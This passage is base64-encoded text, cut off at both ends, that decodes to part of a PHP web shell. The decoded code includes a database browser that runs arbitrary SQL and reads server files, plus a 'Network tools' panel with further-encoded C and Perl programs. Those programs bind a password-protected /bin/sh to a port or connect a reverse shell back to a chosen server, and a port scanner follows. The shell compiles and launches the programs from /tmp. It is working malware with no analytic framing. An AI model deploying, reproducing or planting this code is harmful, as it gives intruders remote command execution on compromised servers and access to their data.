VtKTsKICAgICAgICAgICAgICAgIGVjaG8gJzxvcHRpb24gdmFsdWU9IicuJHZhbHVlLiciICcuKCR2YWx1ZT09JF9QT1NUWydzcWxfYmFzZSddPydzZWxlY3RlZCc6JycpLic+Jy4kdmFsdWUuJzwvb3B0aW9uPic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPC9zZWxlY3Q+JzsKICAgICAgICB9CiAgICAgICAgZWxzZSBlY2hvICR0bXA7CiAgICB9ZWxzZQogICAgICAgIGVjaG8gJHRtcDsKICAgIGVjaG8gJzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICA8L3RhYmxlPgogICAgICAgIDxzY3JpcHQ+CiAgICAgICAgICAgIGZ1bmN0aW9uIHN0KHQsbCkgewogICAgICAgICAgICAgICAgZG9jdW1lbnQuc2YucDEudmFsdWUgPSBcJ3NlbGVjdFwnOwogICAgICAgICAgICAgICAgZG9jdW1lbnQuc2YucDIudmFsdWUgPSB0OwogICAgICAgICAgICAgICAgaWYobCE9bnVsbClkb2N1bWVudC5zZi5wMy52YWx1ZSA9IGw7CiAgICAgICAgICAgICAgICBkb2N1bWVudC5zZi5zdWJtaXQoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBpcygpIHsKICAgICAgICAgICAgICAgIGZvcihpPTA7aTxkb2N1bWVudC5zZi5lbGVtZW50c1tcJ3RibFtdXCddLmxlbmd0aDsrK2kpCiAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnQuc2YuZWxlbWVudHNbXCd0YmxbXVwnXVtpXS5jaGVja2VkID0gIWRvY3VtZW50LnNmLmVsZW1lbnRzW1wndGJsW11cJ11baV0uY2hlY2tlZDsKICAgICAgICAgICAgfQogICAgICAgIDwvc2NyaXB0Pic7CiAgICBpZihpc3NldCgkZGIpICYmICRkYi0+bGluayl7CiAgICAgICAgZWNobyAiPGJyLz48dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0yIGNlbGxzcGFjaW5nPTA+IjsKICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpewogICAgICAgICAgICAgICAgJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOwogICAgICAgICAgICAgICAgZWNobyAiPHRyPjx0ZCB3aWR0aD0xIHN0eWxlPSdib3JkZXItdG9wOjFweCBzb2xpZCAjYTNlOTU2O2JvcmRlci1yaWdodDoycHggc29saWQgI2EzZTk1NjsnPjxzcGFuPlRhYmxlczo8L3NwYW4+PGJyPjxicj4iOwogICAgICAgICAgICAgICAgJHRibHNfcmVzID0gJGRiLT5saXN0VGFibGVzKCk7CiAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goJHRibHNfcmVzKSkgewogICAgICAgICAgICAgICAgICAgIGxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOwogICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcuJHZhbHVlLicnKSk7CiAgICAgICAgICAgICAgICAgICAgJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpOwogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxub2JyPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0ndGJsW10nIHZhbHVlPSciLiR2YWx1ZS4iJz4mbmJzcDs8YSBocmVmPSMgb25jbGljaz1cInN0KCciLiR2YWx1ZS4iJylcIj4iLiR2YWx1ZS4iPC9hPiAoIi4kblsnbiddLiIpPC9ub2JyPjxicj4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdpcygpOyc+IDxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9jdW1lbnQuc2YucDIudmFsdWU9XCJkb3dubG9hZFwiO2RvY3VtZW50LnNmLnN1Ym1pdCgpOyc+PC90ZD48dGQgc3R5bGU9J2JvcmRlci10b3A6MXB4IHNvbGlkICNhM2U5NTY7Jz4iOwogICAgICAgICAgICAgICAgaWYoQCRfUE9TVFsncDEnXSA9PSAnc2VsZWN0JykgewogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDEnXSA9ICdxdWVyeSc7CiAgICAgICAgICAgICAgICAgICAgJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnLiRfUE9TVFsncDInXS4nJyk7CiAgICAgICAgICAgICAgICAgICAgJG51bSA9ICRkYi0+ZmV0Y2goKTsKICAgICAgICAgICAgICAgICAgICAkbnVtID0gJG51bVsnbiddOwogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzcGFuPiIuJF9QT1NUWydwMiddLiI8L3NwYW4+ICgkbnVtKSAiOwogICAgICAgICAgICAgICAgICAgIGZvcigkaT0wOyRpPCgkbnVtLzMwKTskaSsrKQogICAgICAgICAgICAgICAgICAgICAgICBpZigkaSAhPSAoaW50KSRfUE9TVFsncDMnXSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J3N0KFwiIi4kX1BPU1RbJ3AyJ10uIlwiLCAkaSknPiIsKCRpKzEpLCI8L2E+ICI7CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gKCRpKzEpLCIgIjsKICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJykKICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddID0gJ1NFTEVDVCAqIEZST00gJy4kX1BPU1RbJ3AyJ10uJyBMSU1JVCAzMCBPRkZTRVQgJy4oJF9QT1NUWydwMyddKjMwKTsKICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncDInXS4nYCBMSU1JVCAnLigkX1BPU1RbJ3AzJ10qMzApLicsMzAnOwogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxicj48YnI+IjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmKChAJF9QT1NUWydwMSddID09ICdxdWVyeScpICYmICFlbXB0eSgkX1BPU1RbJ3AzJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgJGRiLT5xdWVyeShAJF9QT1NUWydwMyddKTsKICAgICAgICAgICAgICAgICAgICBpZigkZGItPnJlcyAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHRpdGxlID0gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlIGNlbGxzcGFjaW5nPTAgY2VsbHBhZGRpbmc9MiBjbGFzcz1tYWluPic7CiAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gMTsKICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCEkdGl0bGUpICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dHI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGg+Jy4ka2V5Lic8L3RoPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzZXQoJGl0ZW0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aXRsZT10cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+PHRyPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSAyOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyIGNsYXNzPSJsJy4kbGluZS4nIj4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSAkbGluZT09MT8yOjE7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHZhbHVlID09IG51bGwpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZD48aT5udWxsPC9pPjwvdGQ+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZD4nLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKSkuJzwvdGQ+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RhYmxlPic7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdj48Yj5FcnJvcjo8L2I+ICcuaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpLic8L2Rpdj4nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gIjxicj48dGV4dGFyZWEgbmFtZT0ncDMnIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoxMDBweCc+Ii5AaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AzJ10pLiI8L3RleHRhcmVhPjxici8+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFeGVjdXRlJz4iOwogICAgICAgICAgICAgICAgZWNobyAiPC90ZD48L3RyPiI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAiPC90YWJsZT48L2Zvcm0+PGJyLz48Zm9ybSBvbnN1Ym1pdD0nZG9jdW1lbnQuc2YucDEudmFsdWU9XCJsb2FkZmlsZVwiO2RvY3VtZW50LnNmLnAyLnZhbHVlPXRoaXMuZi52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj5Mb2FkIGZpbGU8L3NwYW4+IDxpbnB1dCAgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT4iOwogICAgICAgICAgICBpZihAJF9QT1NUWydwMSddID09ICdsb2FkZmlsZScpIHsKICAgICAgICAgICAgICAgICRkYi0+cXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRkc2xhc2hlcygkX1BPU1RbJ3AyJ10pLiInKSBhcyBmaWxlIik7CiAgICAgICAgICAgICAgICAkZmlsZSA9ICRkYi0+ZmV0Y2goKTsKICAgICAgICAgICAgICAgIGVjaG8gJzxwcmUgY2xhc3M9bWwxPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnZmlsZSddKS4nPC9wcmU+JzsKICAgICAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWN0aW9uTmV0d29yaygpIHsKICAgIHByaW50SGVhZGVyKCk7CiAgICAkYmFja19jb25uZWN0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ21sdWRDQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ3BoY21kMlcxMHBJSHNOQ2lBZ0lDQnBiblFnWm1RN0RRb2dJQ0FnYzNSeWRXTjBJSE52WTJ0aFpHUnlYMmx1SUhOcGJqc05DaUFnSUNCa1lXVnRiMjRvTVN3d0tUc05DaUFnSUNCemFXNHVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ0lDQWdjMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZEtTazdEUW9nSUNBZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNOQ2lBZ0lDQm1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1NWQlFVazlVVDE5VVExQXBJRHNOQ2lBZ0lDQnBaaUFvS0dOdmJtNWxZM1FvWm1Rc0lDaHpkSEoxWTNRZ2MyOWphMkZrWkhJZ0tpa2dKbk5wYml3Z2MybDZaVzltS0hOMGNuVmpkQ0J6YjJOcllXUmtjaWtwS1R3d0tTQjdEUW9nSUNBZ0lDQWdJSEJsY25KdmNpZ2lRMjl1Ym1WamRDQm1ZV2xzSWlrN0RRb2dJQ0FnSUNBZ0lISmxkSFZ5YmlBd093MEtJQ0FnSUgwTkNpQWdJQ0JrZFhBeUtHWmtMQ0F3S1RzTkNpQWdJQ0JrZFhBeUtHWmtMQ0F4S1RzTkNpQWdJQ0JrZFhBeUtHWmtMQ0F5S1RzTkNpQWdJQ0J6ZVhOMFpXMG9JaTlpYVc0dmMyZ2dMV2tpS1RzTkNpQWdJQ0JqYkc5elpTaG1aQ2s3RFFwOSI7CiAgICAkYmFja19jb25uZWN0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNnbkwySnBiaTl6YUNBdGFTY3BPdzBLWTJ4dmMyVW9VMVJFU1U0cE93MEtZMnh2YzJVb1UxUkVUMVZVS1RzTkNtTnNiM05sS0ZOVVJFVlNVaWs3IjsKICAgICRiaW5kX3BvcnRfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzUnlhVzVuTG1nK0RRb2phVzVqYkhWa1pTQThkVzVwYzNSa0xtZytEUW9qYVc1amJIVmtaU0E4Ym1WMFpHSXVhRDROQ2lOcGJtTnNkV1JsSUR4emRHUnNhV0l1YUQ0TkNtbHVkQ0J0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNvcVlYSm5kaWtnZXcwS0lDQWdJR2x1ZENCekxHTXNhVHNOQ2lBZ0lDQmphR0Z5SUhCYk16QmRPdzBLSUNBZ0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnlPdzBLSUNBZ0lHUmhaVzF2YmlneExEQXBPdzBLSUNBZ0lITWdQU0J6YjJOclpYUW9RVVpmU1U1RlZDeFRUME5MWDFOVVVrVkJUU3d3S1RzTkNpQWdJQ0JwWmlnaGN5a2djbVYwZFhKdUlDMHhPdzBLSUNBZ0lISXVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ0lDQWdjaTV6YVc1ZmNHOXlkQ0E5SUdoMGIyNXpLR0YwYjJrb1lYSm5kbHN4WFNrcE93MEtJQ0FnSUhJdWMybHVYMkZrWkhJdWMxOWhaR1J5SUQwZ2FIUnZibXdvU1U1QlJFUlNYMEZPV1NrN0RRb2dJQ0FnWW1sdVpDaHpMQ0FvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSm5Jc0lEQjRNVEFwT3cwS0lDQWdJR3hwYzNSbGJpaHpMQ0ExS1RzTkNpQWdJQ0IzYUdsc1pTZ3hLU0I3RFFvZ0lDQWdJQ0FnSUdNOVlXTmpaWEIwS0hNc01Dd3dLVHNOQ2lBZ0lDQWdJQ0FnWkhWd01paGpMREFwT3cwS0lDQWdJQ0FnSUNCa2RYQXlLR01zTVNrN0RRb2dJQ0FnSUNBZ0lHUjFjRElvWXl3eUtUc05DaUFnSUNBZ0lDQWdkM0pwZEdVb1l5d2lVR0Z6YzNkdmNtUTZJaXc1S1RzTkNpQWdJQ0FnSUNBZ2NtVmhaQ2hqTEhBc2MybDZaVzltS0hBcEtUc05DaUFnSUNBZ0lDQWdabTl5S0drOU1EdHBQSE4wY214bGJpaHdLVHRwS3lzcERRb2dJQ0FnSUNBZ0lDQWdJQ0JwWmlnZ0tIQmJhVjBnUFQwZ0oxeHVKeWtnZkh3Z0tIQmJhVjBnUFQwZ0oxeHlKeWtnS1EwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUhCYmFWMGdQU0FuWERBbk93MEtJQ0FnSUNBZ0lDQnBaaUFvYzNSeVkyMXdLR0Z5WjNaYk1sMHNjQ2tnUFQwZ01Da05DaUFnSUNBZ0lDQWdJQ0FnSUhONWMzUmxiU2dpTDJKcGJpOXphQ0F0YVNJcE93MEtJQ0FnSUNBZ0lDQmpiRzl6WlNoaktUc05DaUFnSUNCOURRcDkiOwogICAgJGJpbmRfcG9ydF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2YzJnZ0xXa2lPdzBLYVdZZ0tFQkJVa2RXSUR3Z01Ta2dleUJsZUdsMEtERXBPeUI5RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlUxUlNSVUZOTEdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbktTa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVlRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkVGU1IxWmJNRjBzU1U1QlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBaVEyRnVkQ0J2Y0dWdUlIQnZjblJjYmlJN0RRcHNhWE4wWlc0b1V5d3pLU0I4ZkNCa2FXVWdJa05oYm5RZ2JHbHpkR1Z1SUhCdmNuUmNiaUk3RFFwM2FHbHNaU2d4S1NCN0RRb0pZV05qWlhCMEtFTlBUazRzVXlrN0RRb0phV1lvSVNna2NHbGtQV1p2Y21zcEtTQjdEUW9KQ1dScFpTQWlRMkZ1Ym05MElHWnZjbXNpSUdsbUlDZ2haR1ZtYVc1bFpDQWtjR2xrS1RzTkNna0piM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ2drSmIzQmxiaUJUVkVSUFZWUXNJajRtUTA5T1RpSTdEUW9KQ1c5d1pXNGdVMVJFUlZKU0xDSStKa05QVGs0aU93MEtDUWxsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ2drSlkyeHZjMlVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOwogICAgZWNobyAnPGgxPk5ldHdvcmsgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KICAgIDxmb3JtIG5hbWU9XCduZnBcJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsdGhpcy51c2luZy52YWx1ZSx0aGlzLnBvcnQudmFsdWUsdGhpcy5wYXNzLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4KICAgIDxiciAvPjxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoPC9zcGFuPjxici8+CiAgICBQb3J0OiA8aW5wdXQgdHlwZT1cJ3RleHRcJyBuYW1lPVwncG9ydFwnIHZhbHVlPVwnNDQ0XCc+IFBhc3N3b3JkOiA8aW5wdXQgdHlwZT1cJ3RleHRcJyBuYW1lPVwncGFzc1wnIHZhbHVlPVwnQkhQXCc+IFVzaW5nOiA8c2VsZWN0IG5hbWU9InVzaW5nIj48b3B0aW9uIHZhbHVlPVwnYnBjXCc+Qzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCdicHBcJz5QZXJsPC9vcHRpb24+PC9zZWxlY3Q+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgogICAgPC9mb3JtPgogICAgPGZvcm0gbmFtZT1cJ25mcFwnIG9uU3VibWl0PSJnKG51bGwsbnVsbCx0aGlzLnVzaW5nLnZhbHVlLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+CiAgICA8YnIgLz48YnIgLz48c3Bhbj5CYWNrLWNvbm5lY3QgdG88L3NwYW4+PGJyLz4KICAgIFNlcnZlcjogPGlucHV0IHR5cGU9XCd0ZXh0XCcgbmFtZT1cJ3NlcnZlclwnIHZhbHVlPSInLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLiciPiBQb3J0OiA8aW5wdXQgdHlwZT1cJ3RleHRcJyBuYW1lPVwncG9ydFwnIHZhbHVlPVwnNDQ0XCc+IFVzaW5nOiA8c2VsZWN0IG5hbWU9InVzaW5nIj48b3B0aW9uIHZhbHVlPVwnYmNjXCc+Qzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCdiY3BcJz5QZXJsPC9vcHRpb24+PC9zZWxlY3Q+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPgogICAgPC9mb3JtPjxicj4nOyAgICAKICAgIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsKICAgICAgICBmdW5jdGlvbiBjZigkZiwkdCkgewogICAgICAgICAgICAkdz1AZm9wZW4oJGYsInciKSBvciBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpOwogICAgICAgICAgICBpZigkdykgICAgewogICAgICAgICAgICAgICAgQGZ3cml0ZSgkdyxAYmFzZTY0X2RlY29kZSgkdCkpIG9yIEBmcHV0cygkdyxAYmFzZTY0X2RlY29kZSgkdCkpIG9yIEBmaWxlX3B1dF9jb250ZW50cygkZixAYmFzZTY0X2RlY29kZSgkdCkpOwogICAgICAgICAgICAgICAgQGZjbG9zZSgkdyk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYoJF9QT1NUWydwMSddID09ICdicGMnKSB7CiAgICAgICAgICAgIGNmKCIvdG1wL2JwLmMiLCRiaW5kX3BvcnRfYyk7CiAgICAgICAgICAgICRvdXQgPSBleCgiZ2NjIC1vIC90bXAvYnAgL3RtcC9icC5jIik7CiAgICAgICAgICAgIEB1bmxpbmsoIi90bXAvYnAuYyIpOwogICAgICAgICAgICAkb3V0IC49IGV4KCIvdG1wL2JwICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAmIik7CiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIuZXgoInBzIGF1eCB8IGdyZXAgYnAiKS4iPC9wcmU+IjsKICAgICAgICB9CiAgICAgICAgaWYoJF9QT1NUWydwMSddID09ICdicHAnKSB7CiAgICAgICAgICAgIGNmKCIvdG1wL2JwLnBsIiwkYmluZF9wb3J0X3ApOwogICAgICAgICAgICAkb3V0ID0gZXgod2hpY2goInBlcmwiKS4iIC90bXAvYnAucGwgIi4kX1BPU1RbJ3AyJ10uIiAmIik7CiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIuZXgoInBzIGF1eCB8IGdyZXAgYnAucGwiKS4iPC9wcmU+IjsKICAgICAgICB9CiAgICAgICAgaWYoJF9QT1NUWydwMSddID09ICdiY2MnKSB7CiAgICAgICAgICAgIGNmKCIvdG1wL2JjLmMiLCRiYWNrX2Nvbm5lY3RfYyk7CiAgICAgICAgICAgICRvdXQgPSBleCgiZ2NjIC1vIC90bXAvYmMgL3RtcC9iYy5jIik7CiAgICAgICAgICAgIEB1bmxpbmsoIi90bXAvYmMuYyIpOwogICAgICAgICAgICAkb3V0IC49IGV4KCIvdG1wL2JjICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAmIik7CiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIuZXgoInBzIGF1eCB8IGdyZXAgYmMiKS4iPC9wcmU+IjsKICAgICAgICB9CiAgICAgICAgaWYoJF9QT1NUWydwMSddID09ICdiY3AnKSB7CiAgICAgICAgICAgIGNmKCIvdG1wL2JjLnBsIiwkYmFja19jb25uZWN0X3ApOwogICAgICAgICAgICAkb3V0ID0gZXgod2hpY2goInBlcmwiKS4iIC90bXAvYmMucGwgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iICYiKTsKICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi5leCgicHMgYXV4IHwgZ3JlcCBiYy5wbCIpLiI8L3ByZT4iOwogICAgICAgIH0KICAgIH0KICAgIGVjaG8gJzwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlvblBvcnRTY2FubmVyKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5Qb3J0IFNjYW5uZXI8L2gxPic7CiAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb250ZW50Ij4nOwogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+JzsKICAgIGlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc19udW1lcmljKCRfUE9TVFsnZW5kJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydzdGFydCddKSl7CiAgICAgICAgJHN0YXJ0ID0gc3RyaXBfdGFncygkX1BPU1RbJ3N0YXJ0J10pOwogICAgICAgICRlbmQgPSBzdHJpcF90YWdzKCRfUE9TVFsnZW5kJ10pOwogICAgICAgICRob3N0ID0gc3RyaXBfdGFncygkX1BPU1RbJ2hvc3QnXSk7CiAgICAgICAgZm9yKCRpID0gJHN0YXJ0OyAkaTw9JGVuZDsgJGkrKyl7CiAgICAgICAgICAgICRmcCA9IEBmc29ja29wZW4oJGhvc3QsICRpLCAkZXJybm8sICRlcnJzdHIsIDMpOwogICAgICAgICAgICBpZigkZnApewogICAgICAgICAgICAgICAgZWNobyAnUG9ydCAnLiRpLicgaXMgPGZvbnQgY29sb3I9YXF1YT5vcGVuPC9mb250Pjxicj4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICc8YnIgLz48YnIgLz48Y2VudGVyPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJQb3J0U2Nhbm5lciI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT1wMT48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwMiI+CiAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYyIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgogICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNoYXJzZXQiIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiciPgogICAgICAgICAgICAgIEhvc3Q6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0Ii8+PGJyIC8+PGJyIC8+CiAgICAgICAgICAgICAgUG9ydCBzdGFydDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN0YXJ0IiB2YWx1ZT0iMCIvPjxiciAvPjxiciAvPgogICAgICAgICAgICAgIFBvcnQgZW5kOjxpbn